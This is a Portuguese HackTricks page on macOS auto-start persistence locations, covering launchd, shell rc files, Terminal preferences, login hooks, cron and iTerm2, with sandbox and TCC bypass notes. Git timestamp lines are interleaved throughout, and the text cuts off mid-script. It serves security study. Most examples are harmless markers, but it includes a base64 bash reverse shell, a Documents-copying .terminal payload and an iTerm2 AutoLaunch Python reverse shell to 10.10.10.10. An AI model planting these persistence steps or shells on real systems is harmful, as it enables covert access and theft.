2024-02-23 16:42:31 +00:00
# Auto Inicialização do macOS
2023-06-01 21:09:46 +00:00
< details >
2024-03-17 16:28:29 +00:00
< summary > < strong > Aprenda hacking AWS do zero ao avançado com< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2023-06-01 21:09:46 +00:00
2023-12-31 00:07:27 +00:00
Outras formas de apoiar o HackTricks:
2024-03-17 16:28:29 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA** ](https://github.com/sponsors/carlospolop )!
2024-02-23 16:42:31 +00:00
* Adquira o [**swag oficial PEASS & HackTricks** ](https://peass.creator-spring.com )
2024-02-07 05:33:07 +00:00
* Descubra [**A Família PEASS** ](https://opensea.io/collection/the-peass-family ), nossa coleção exclusiva de [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-02-13 00:50:30 +00:00
* **Junte-se ao** 💬 [**grupo Discord** ](https://discord.gg/hRep4RUj7f ) ou ao [**grupo telegram** ](https://t.me/peass ) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2024-02-23 16:42:31 +00:00
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repositórios do github.
2023-06-01 21:09:46 +00:00
< / details >
2024-02-07 05:33:07 +00:00
Esta seção é fortemente baseada na série de blogs [**Além dos bons e velhos LaunchAgents** ](https://theevilbit.github.io/beyond/ ), o objetivo é adicionar **mais Locais de Auto Inicialização** (se possível), indicar **quais técnicas ainda estão funcionando** atualmente com a última versão do macOS (13.4) e especificar as **permissões** necessárias.
2023-09-28 20:14:50 +00:00
2024-02-07 05:33:07 +00:00
## Bypass de Sandbox
2023-09-28 20:14:50 +00:00
{% hint style="success" %}
2024-02-23 16:42:31 +00:00
Aqui você pode encontrar locais de inicialização úteis para **burlar a sandbox** que permite simplesmente executar algo **escrevendo em um arquivo** e **aguardando** por uma **ação muito comum** , um **determinado tempo** ou uma **ação que você normalmente pode realizar** de dentro de uma sandbox sem precisar de permissões de root.
2023-09-28 20:14:50 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
### Launchd
2024-02-07 05:33:07 +00:00
* Útil para burlar a sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:14:50 +00:00
#### Locais
2023-09-28 19:21:57 +00:00
* **`/Library/LaunchAgents`**
* **Gatilho**: Reinicialização
2024-02-07 05:33:07 +00:00
* Root necessário
2023-09-28 19:21:57 +00:00
* **`/Library/LaunchDaemons`**
* **Gatilho**: Reinicialização
2024-02-07 05:33:07 +00:00
* Root necessário
2023-09-28 19:21:57 +00:00
* **`/System/Library/LaunchAgents`**
* **Gatilho**: Reinicialização
2024-02-07 05:33:07 +00:00
* Root necessário
2023-09-28 19:21:57 +00:00
* **`/System/Library/LaunchDaemons`**
* **Gatilho**: Reinicialização
2024-02-07 05:33:07 +00:00
* Root necessário
2023-09-28 19:21:57 +00:00
* **`~/Library/LaunchAgents`**
2024-02-07 05:33:07 +00:00
* **Gatilho**: Reentrada
2023-09-28 19:21:57 +00:00
* **`~/Library/LaunchDemons`**
2024-02-07 05:33:07 +00:00
* **Gatilho**: Reentrada
2023-09-28 19:21:57 +00:00
2024-02-23 16:42:31 +00:00
#### Descrição & Exploração
2023-09-28 19:21:57 +00:00
2024-02-08 22:20:49 +00:00
**`launchd`** é o **primeiro** **processo** executado pelo kernel do macOS na inicialização e o último a ser encerrado no desligamento. Ele sempre deve ter o **PID 1** . Esse processo irá **ler e executar** as configurações indicadas nos **plists** **ASEP** em:
2023-06-01 21:09:46 +00:00
2023-06-06 18:56:34 +00:00
* `/Library/LaunchAgents` : Agentes por usuário instalados pelo administrador
2024-02-07 05:33:07 +00:00
* `/Library/LaunchDaemons` : Daemons em todo o sistema instalados pelo administrador
2023-06-06 18:56:34 +00:00
* `/System/Library/LaunchAgents` : Agentes por usuário fornecidos pela Apple.
2024-02-07 05:33:07 +00:00
* `/System/Library/LaunchDaemons` : Daemons em todo o sistema fornecidos pela Apple.
2023-06-01 21:09:46 +00:00
2024-02-07 05:33:07 +00:00
Quando um usuário faz login, os plists localizados em `/Users/$USER/Library/LaunchAgents` e `/Users/$USER/Library/LaunchDemons` são iniciados com as **permissões dos usuários logados** .
2023-06-01 21:09:46 +00:00
2024-02-07 05:33:07 +00:00
A **principal diferença entre agentes e daemons é que os agentes são carregados quando o usuário faz login e os daemons são carregados na inicialização do sistema** (pois existem serviços como ssh que precisam ser executados antes que qualquer usuário acesse o sistema). Além disso, os agentes podem usar a GUI enquanto os daemons precisam ser executados em segundo plano.
2023-06-01 21:09:46 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
< plist version = "1.0" >
< dict >
2023-09-26 23:59:33 +00:00
< key > Label< / key >
< string > com.apple.someidentifier< / string >
< key > ProgramArguments< / key >
< array >
2023-09-28 19:21:57 +00:00
< string > bash -c 'touch /tmp/launched'< / string > <!-- Prog to execute -->
2023-09-26 23:59:33 +00:00
< / array >
< key > RunAtLoad< / key > < true / > <!-- Execute at system startup -->
< key > StartInterval< / key >
< integer > 800< / integer > <!-- Execute each 800s -->
< key > KeepAlive< / key >
< dict >
< key > SuccessfulExit< / key > < / false > <!-- Re - execute if exit unsuccessful -->
<!-- If previous is true, then re - execute in successful exit -->
< / dict >
2023-06-01 21:09:46 +00:00
< / dict >
< / plist >
```
2024-02-07 05:33:07 +00:00
Existem casos em que um **agente precisa ser executado antes do login do usuário** , esses são chamados de **PreLoginAgents** . Por exemplo, isso é útil para fornecer tecnologia assistiva no login. Eles também podem ser encontrados em `/Library/LaunchAgents` (veja [**aqui** ](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents ) um exemplo).
2023-06-01 21:09:46 +00:00
2023-09-28 19:21:57 +00:00
{% hint style="info" %}
2024-02-07 05:33:07 +00:00
Novos arquivos de configuração de Daemons ou Agents serão **carregados após o próximo reinício ou usando** `launchctl load <target.plist>` Também é possível carregar arquivos .plist **sem a extensão** com `launchctl -F <file>` (no entanto, esses arquivos plist não serão carregados automaticamente após o reinício).\
Também é possível **descarregar** com `launchctl unload <target.plist>` (o processo apontado por ele será encerrado).
2023-06-01 21:09:46 +00:00
2024-02-07 05:33:07 +00:00
Para **garantir** que não haja **nada** (como uma substituição) **impedindo** um **Agente** ou **Daemon** **de** **ser executado** , execute: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
2023-09-28 19:21:57 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-02-07 05:33:07 +00:00
Liste todos os agentes e daemons carregados pelo usuário atual:
2023-06-01 21:09:46 +00:00
```bash
launchctl list
```
2023-11-02 18:01:38 +00:00
{% hint style="warning" %}
2024-02-07 05:33:07 +00:00
Se um plist é de propriedade de um usuário, mesmo que esteja em pastas de sistema de daemon, a **tarefa será executada como o usuário** e não como root. Isso pode prevenir alguns ataques de escalonamento de privilégios.
2023-11-02 18:01:38 +00:00
{% endhint %}
2023-12-26 02:05:14 +00:00
### arquivos de inicialização do shell
2023-09-28 19:21:57 +00:00
2023-11-02 18:01:38 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0001/ ](https://theevilbit.github.io/beyond/beyond\_0001/ )\
Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
* Útil para contornar a sandbox: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-23 16:42:31 +00:00
* Bypass TCC: [✅ ](https://emojipedia.org/check-mark-button )
* Mas você precisa encontrar um aplicativo com um bypass TCC que execute um shell que carregue esses arquivos
2023-09-28 20:14:50 +00:00
2023-09-28 19:21:57 +00:00
#### Localizações
2023-12-30 01:05:06 +00:00
* **`~/.zshrc`, `~/.zlogin` , `~/.zshenv.zwc` **, ** `~/.zshenv` , `~/.zprofile` **
2023-09-28 19:21:57 +00:00
* **Gatilho**: Abrir um terminal com zsh
* **`/etc/zshenv`, `/etc/zprofile` , `/etc/zshrc` , `/etc/zlogin` **
* **Gatilho**: Abrir um terminal com zsh
2024-02-07 05:33:07 +00:00
* Root necessário
2023-09-28 19:21:57 +00:00
* **`~/.zlogout`**
2023-12-26 02:05:14 +00:00
* **Gatilho**: Sair de um terminal com zsh
2023-09-28 19:21:57 +00:00
* **`/etc/zlogout`**
2023-12-26 02:05:14 +00:00
* **Gatilho**: Sair de um terminal com zsh
2024-02-07 05:33:07 +00:00
* Root necessário
2023-09-28 19:21:57 +00:00
* Potencialmente mais em: ** `man zsh` **
* **`~/.bashrc`**
* **Gatilho**: Abrir um terminal com bash
* `/etc/profile` (não funcionou)
* `~/.profile` (não funcionou)
* `~/.xinitrc` , `~/.xserverrc` , `/opt/X11/etc/X11/xinit/xinitrc.d/`
2024-02-07 05:33:07 +00:00
* **Gatilho**: Esperado para ser acionado com xterm, mas **não está instalado** e mesmo após instalado esse erro é exibido: xterm: `DISPLAY is not set`
2023-09-28 19:21:57 +00:00
2023-12-26 02:05:14 +00:00
#### Descrição & Exploração
2023-09-28 19:21:57 +00:00
2024-03-17 16:28:29 +00:00
Ao iniciar um ambiente de shell como `zsh` ou `bash` , **certos arquivos de inicialização são executados** . Atualmente, o macOS usa `/bin/zsh` como shell padrão. Este shell é acessado automaticamente quando o aplicativo Terminal é lançado ou quando um dispositivo é acessado via SSH. Embora `bash` e `sh` também estejam presentes no macOS, eles precisam ser explicitamente invocados para serem usados.
2023-09-28 19:21:57 +00:00
2024-03-17 16:28:29 +00:00
A página de manual do zsh, que podemos ler com ** `man zsh` **, tem uma descrição extensa dos arquivos de inicialização.
2023-09-28 19:21:57 +00:00
```bash
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
```
2023-12-16 14:29:43 +00:00
### Aplicações Reabertas
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
{% hint style="danger" %}
2024-03-17 16:28:29 +00:00
Configurar a exploração indicada e sair e entrar novamente ou até mesmo reiniciar não funcionou para mim para executar o aplicativo. (O aplicativo não estava sendo executado, talvez precise estar em execução quando essas ações são realizadas)
2023-09-28 20:14:50 +00:00
{% endhint %}
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
**Descrição**: [https://theevilbit.github.io/beyond/beyond\_0021/ ](https://theevilbit.github.io/beyond/beyond\_0021/ )
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
* Útil para contornar a sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
#### Localização
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist`**
2024-02-07 05:33:07 +00:00
* **Gatilho**: Reiniciar a abertura de aplicativos
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
#### Descrição e Exploração
2023-09-28 20:14:50 +00:00
2023-12-29 14:33:12 +00:00
Todas as aplicações a serem reabertas estão dentro do plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
2023-09-28 20:14:50 +00:00
2024-02-23 16:42:31 +00:00
Portanto, para fazer com que as aplicações reabram seu próprio aplicativo, você só precisa **adicionar seu aplicativo à lista** .
2023-09-28 20:14:50 +00:00
O UUID pode ser encontrado listando esse diretório ou com `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
2024-02-07 05:33:07 +00:00
Para verificar as aplicações que serão reabertas, você pode fazer:
2023-09-28 20:14:50 +00:00
```bash
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 19:21:57 +00:00
```
2024-02-13 00:50:30 +00:00
Para **adicionar um aplicativo a esta lista** , você pode usar:
2023-09-28 19:21:57 +00:00
```bash
2023-09-28 20:14:50 +00:00
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 19:21:57 +00:00
```
2023-10-01 18:12:00 +00:00
### Preferências do Terminal
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
* Útil para contornar a sandbox: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:50:30 +00:00
* Bypass do TCC: [✅ ](https://emojipedia.org/check-mark-button )
2024-03-17 16:28:29 +00:00
* O Terminal usa permissões do FDA se o usuário o utilizar
2023-10-01 18:12:00 +00:00
#### Localização
* **`~/Library/Preferences/com.apple.Terminal.plist`**
2024-02-07 05:33:07 +00:00
* **Gatilho**: Abrir o Terminal
2023-10-01 18:12:00 +00:00
2024-02-07 05:33:07 +00:00
#### Descrição e Exploração
2023-10-01 18:12:00 +00:00
2023-12-26 02:05:14 +00:00
Em ** `~/Library/Preferences` ** são armazenadas as preferências do usuário nas Aplicações. Algumas dessas preferências podem conter uma configuração para **executar outras aplicações/scripts** .
2023-09-28 19:21:57 +00:00
2023-12-31 00:07:27 +00:00
Por exemplo, o Terminal pode executar um comando na inicialização:
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
< figure > < img src = "../.gitbook/assets/image (676).png" alt = "" width = "495" > < figcaption > < / figcaption > < / figure >
2023-12-26 02:05:14 +00:00
Essa configuração é refletida no arquivo ** `~/Library/Preferences/com.apple.Terminal.plist` ** assim:
2023-09-28 19:21:57 +00:00
```bash
[...]
2023-09-28 20:14:50 +00:00
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
2023-09-28 19:21:57 +00:00
[...]
```
2024-03-17 16:28:29 +00:00
Portanto, se o plist das preferências do terminal no sistema puder ser sobrescrito, então a funcionalidade ** `open` ** pode ser usada para **abrir o terminal e executar esse comando** .
2023-09-28 20:14:50 +00:00
2024-02-07 05:33:07 +00:00
Você pode adicionar isso a partir da linha de comando com:
2023-09-28 19:21:57 +00:00
{% code overflow="wrap" %}
```bash
# Add
2023-09-28 20:14:50 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 19:21:57 +00:00
# Remove
2023-09-28 20:14:50 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 19:21:57 +00:00
```
{% endcode %}
2024-02-07 05:33:07 +00:00
### Scripts do Terminal / Outras extensões de arquivo
2023-10-01 18:12:00 +00:00
2024-02-07 05:33:07 +00:00
* Útil para contornar a sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Contorno do TCC: [✅ ](https://emojipedia.org/check-mark-button )
* O Terminal usa permissões do FDA se o usuário o utilizar
2023-10-01 18:12:00 +00:00
#### Localização
2024-02-07 05:33:07 +00:00
* **Qualquer lugar**
* **Gatilho**: Abrir o Terminal
2023-10-01 18:12:00 +00:00
2024-02-07 05:33:07 +00:00
#### Descrição e Exploração
2023-10-01 18:12:00 +00:00
2024-03-17 16:28:29 +00:00
Se você criar um script [**`.terminal`** ](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx ) e abri-lo, o aplicativo **Terminal** será automaticamente invocado para executar os comandos indicados nele. Se o aplicativo Terminal tiver alguns privilégios especiais (como o TCC), seu comando será executado com esses privilégios especiais.
2023-10-01 18:12:00 +00:00
Experimente com:
```bash
# Prepare the payload
cat > /tmp/test.terminal < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
< key > CommandString< / key >
< string > mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;< / string >
< key > ProfileCurrentVersion< / key >
< real > 2.0600000000000001< / real >
< key > RunCommandAsShell< / key >
< false / >
< key > name< / key >
< string > exploit< / string >
< key > type< / key >
< string > Window Settings< / string >
< / dict >
< / plist >
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
< string > echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;< / string >
```
2024-02-23 16:42:31 +00:00
Poderia também usar as extensões ** `.command` **, ** `.tool` **, com conteúdo de scripts shell regulares e eles também serão abertos pelo Terminal.
{% hint style="danger" %}
Se o terminal tiver **Acesso Total ao Disco** , ele será capaz de concluir essa ação (observe que o comando executado será visível em uma janela do terminal).
{% endhint %}
### Plugins de Áudio
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
Descrição: [https://theevilbit.github.io/beyond/beyond\_0013/ ](https://theevilbit.github.io/beyond/beyond\_0013/ )\
Descrição: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 ](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 )
2023-09-28 20:14:50 +00:00
2024-02-07 05:33:07 +00:00
* Útil para contornar a sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Bypass TCC: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-23 16:42:31 +00:00
* Você pode obter algum acesso extra ao TCC
2023-12-30 01:05:06 +00:00
2023-09-28 20:14:50 +00:00
#### Localização
* **`/Library/Audio/Plug-Ins/HAL`**
2024-02-07 05:33:07 +00:00
* Requer privilégios de root
* **Gatilho**: Reiniciar o coreaudiod ou o computador
2023-09-28 20:14:50 +00:00
* **`/Library/Audio/Plug-ins/Components`**
2024-02-07 05:33:07 +00:00
* Requer privilégios de root
* **Gatilho**: Reiniciar o coreaudiod ou o computador
2023-09-28 20:14:50 +00:00
* **`~/Library/Audio/Plug-ins/Components`**
2024-02-07 05:33:07 +00:00
* **Gatilho**: Reiniciar o coreaudiod ou o computador
2023-09-28 20:14:50 +00:00
* **`/System/Library/Components`**
2024-02-07 05:33:07 +00:00
* Requer privilégios de root
* **Gatilho**: Reiniciar o coreaudiod ou o computador
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
#### Descrição
2024-02-23 16:42:31 +00:00
De acordo com as descrições anteriores, é possível **compilar alguns plugins de áudio** e carregá-los.
2023-09-28 20:14:50 +00:00
2024-02-23 16:42:31 +00:00
### Plugins QuickLook
2023-09-28 20:14:50 +00:00
2024-02-07 05:33:07 +00:00
Descrição: [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )
2023-09-28 20:14:50 +00:00
2024-02-07 05:33:07 +00:00
* Útil para contornar a sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Bypass TCC: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-02-23 16:42:31 +00:00
* Você pode obter algum acesso extra ao TCC
2023-09-28 19:21:57 +00:00
#### Localização
2023-09-28 20:14:50 +00:00
* `/System/Library/QuickLook`
* `/Library/QuickLook`
* `~/Library/QuickLook`
2024-02-07 05:33:07 +00:00
* `/Applications/NomeDoAplicativo/Aplicativo/Conteúdo/Biblioteca/QuickLook/`
* `~/Applications/NomeDoAplicativo/Aplicativo/Conteúdo/Biblioteca/QuickLook/`
2023-09-28 19:21:57 +00:00
2023-12-26 02:05:14 +00:00
#### Descrição & Exploração
2023-09-28 19:21:57 +00:00
2024-02-23 16:42:31 +00:00
Os plugins QuickLook podem ser executados quando você **aciona a visualização de um arquivo** (pressione a barra de espaço com o arquivo selecionado no Finder) e um **plugin que suporta esse tipo de arquivo** está instalado.
2023-09-28 19:21:57 +00:00
2024-03-17 16:28:29 +00:00
É possível compilar seu próprio plugin QuickLook, colocá-lo em uma das localizações anteriores para carregá-lo e depois ir para um arquivo suportado e pressionar espaço para acioná-lo.
2023-09-28 19:21:57 +00:00
2024-02-23 16:42:31 +00:00
### ~~Hooks de Login/Logout~~
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
{% hint style="danger" %}
2023-12-26 02:05:14 +00:00
Isso não funcionou para mim, nem com o LoginHook do usuário nem com o LogoutHook do root
2023-09-28 20:14:50 +00:00
{% endhint %}
2024-02-07 05:33:07 +00:00
**Descrição**: [https://theevilbit.github.io/beyond/beyond\_0022/ ](https://theevilbit.github.io/beyond/beyond\_0022/ )
2023-09-28 20:14:50 +00:00
2024-02-07 05:33:07 +00:00
* Útil para contornar a sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:14:50 +00:00
#### Localização
* Você precisa ser capaz de executar algo como `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
* Localizado em `~/Library/Preferences/com.apple.loginwindow.plist`
2024-02-23 16:42:31 +00:00
Eles são obsoletos, mas podem ser usados para executar comandos quando um usuário faz login.
2023-09-28 19:21:57 +00:00
```bash
2023-09-28 20:14:50 +00:00
cat > $HOME/hook.sh < < EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
2023-09-28 19:21:57 +00:00
```
2024-02-07 05:33:07 +00:00
Este ajuste é armazenado em `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist`
2023-09-28 19:21:57 +00:00
```bash
2023-09-28 20:14:50 +00:00
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}
2023-09-28 19:21:57 +00:00
```
2024-02-07 05:33:07 +00:00
Para deletar:
2023-09-28 20:14:50 +00:00
```bash
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
```
2024-02-07 05:33:07 +00:00
O usuário root é armazenado em ** `/private/var/root/Library/Preferences/com.apple.loginwindow.plist` **
2023-09-28 20:14:50 +00:00
2024-02-08 22:20:49 +00:00
## Bypass Condicional de Sandbox
2023-09-28 20:14:50 +00:00
{% hint style="success" %}
2024-02-13 00:50:30 +00:00
Aqui você pode encontrar locais de inicialização úteis para **burlar a sandbox** que permite que você simplesmente execute algo **escrevendo em um arquivo** e **não esperando condições super comuns** como programas específicos instalados, ações de usuário "pouco comuns" ou ambientes.
2023-09-28 19:21:57 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
### Cron
2023-12-26 02:05:14 +00:00
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/ ](https://theevilbit.github.io/beyond/beyond\_0004/ )
2023-09-28 19:21:57 +00:00
2024-02-08 22:20:49 +00:00
* Útil para burlar a sandbox: [✅ ](https://emojipedia.org/check-mark-button )
2023-09-28 20:14:50 +00:00
* No entanto, você precisa ser capaz de executar o binário `crontab`
* Ou ser root
2024-02-07 05:33:07 +00:00
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:14:50 +00:00
2023-09-28 19:21:57 +00:00
#### Localização
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs` , `/private/var/at/jobs` , `/etc/periodic/` **
2024-02-23 16:42:31 +00:00
* Root necessário para acesso direto de escrita. Não é necessário ser root se você puder executar `crontab <arquivo>`
2023-09-28 19:21:57 +00:00
* **Gatilho**: Depende do trabalho cron
2024-02-07 05:33:07 +00:00
#### Descrição e Exploração
2023-09-28 19:21:57 +00:00
2023-06-06 18:56:34 +00:00
Liste os trabalhos cron do **usuário atual** com:
2023-06-01 21:09:46 +00:00
```bash
crontab -l
```
2024-02-07 05:33:07 +00:00
Você também pode ver todos os trabalhos cron dos usuários em ** `/usr/lib/cron/tabs/` ** e ** `/var/at/tabs/` ** (necessita de permissão de root).
2023-06-01 21:09:46 +00:00
2024-01-10 07:09:16 +00:00
No MacOS, várias pastas que executam scripts com **certa frequência** podem ser encontradas em:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:14:50 +00:00
# The one with the cron jobs is /usr/lib/cron/tabs/
2023-06-01 21:09:46 +00:00
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
2024-02-13 00:50:30 +00:00
Aqui você pode encontrar os **trabalhos cron** regulares, os **trabalhos at** (não muito usados) e os **trabalhos periódicos** (principalmente usados para limpar arquivos temporários). Os trabalhos periódicos diários podem ser executados, por exemplo, com: `periodic daily` .
2023-06-01 21:09:46 +00:00
2024-02-23 16:42:31 +00:00
Para adicionar um **trabalho cron de usuário programaticamente** , é possível usar:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 19:21:57 +00:00
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
```
2023-09-28 20:14:50 +00:00
### iTerm2
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
Descrição: [https://theevilbit.github.io/beyond/beyond\_0002/ ](https://theevilbit.github.io/beyond/beyond\_0002/ )
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
* Útil para contornar a sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Bypass TCC: [✅ ](https://emojipedia.org/check-mark-button )
* iTerm2 costumava ter permissões TCC concedidas
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
#### Localizações
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
2023-12-26 02:05:14 +00:00
* **Gatilho**: Abrir iTerm
2023-09-28 20:14:50 +00:00
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
2023-12-26 02:05:14 +00:00
* **Gatilho**: Abrir iTerm
2023-09-28 20:14:50 +00:00
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
2023-12-26 02:05:14 +00:00
* **Gatilho**: Abrir iTerm
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
#### Descrição e Exploração
2023-09-28 19:21:57 +00:00
2023-12-26 02:05:14 +00:00
Scripts armazenados em ** `~/Library/Application Support/iTerm2/Scripts/AutoLaunch` ** serão executados. Por exemplo:
2023-09-28 19:21:57 +00:00
```bash
2023-09-28 20:14:50 +00:00
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" < < EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```
2024-03-17 16:28:29 +00:00
### Locais de Inicialização Automática do macOS
2024-02-23 16:42:31 +00:00
2024-03-17 16:28:29 +00:00
Existem várias maneiras de um aplicativo ser iniciado automaticamente no macOS. Alguns dos locais comuns onde os aplicativos podem ser configurados para iniciar automaticamente incluem:
2024-02-23 16:42:31 +00:00
2024-03-17 16:28:29 +00:00
1. **Login Items** : Os aplicativos podem ser adicionados à lista de itens de login nas preferências do sistema.
2. **Launch Agents e Daemons** : Os agentes e daemons de lançamento são usados para iniciar processos em nome de todos os usuários ou de um usuário específico quando o sistema é inicializado.
3. **Launchd Property List Files** : Os arquivos de lista de propriedades do launchd especificam como um processo é iniciado e sob quais condições.
4. **Startup Items** : Embora obsoletos, os itens de inicialização eram usados em versões mais antigas do macOS para iniciar processos durante a inicialização.
2024-02-23 16:42:31 +00:00
2024-03-17 16:28:29 +00:00
Ao revisar e monitorar esses locais de inicialização automática, os administradores de sistema podem garantir que apenas os aplicativos autorizados sejam iniciados automaticamente no macOS. Isso ajuda a manter a segurança e o desempenho do sistema.
2023-11-02 18:01:38 +00:00
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" < < EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
